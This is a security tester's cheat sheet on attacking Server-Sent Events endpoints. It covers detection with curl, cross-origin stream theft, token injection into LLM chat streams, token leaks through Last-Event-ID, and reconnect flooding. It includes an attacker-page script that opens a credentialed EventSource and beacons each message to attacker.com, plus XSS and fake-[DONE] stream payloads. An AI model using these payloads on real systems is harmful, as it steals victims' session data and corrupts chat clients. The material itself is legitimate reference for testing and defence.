server-sent-events

Server-Sent Events (SSE) Attack Surface

SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.

Detect

curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
#   id: 42
#   event: message
#   data: {"foo":"bar"}
#   (blank line ends one event)

Top bug classes

1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for EventSource)

EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:

<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>

Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.

2. Prompt injection into LLM chat clients

Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:

data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}

data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}

3. Reconnection token leak via Last-Event-ID

SSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.

id: jwt-here-encoded
event: message
data: ...

4. Retry timing DoS

Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.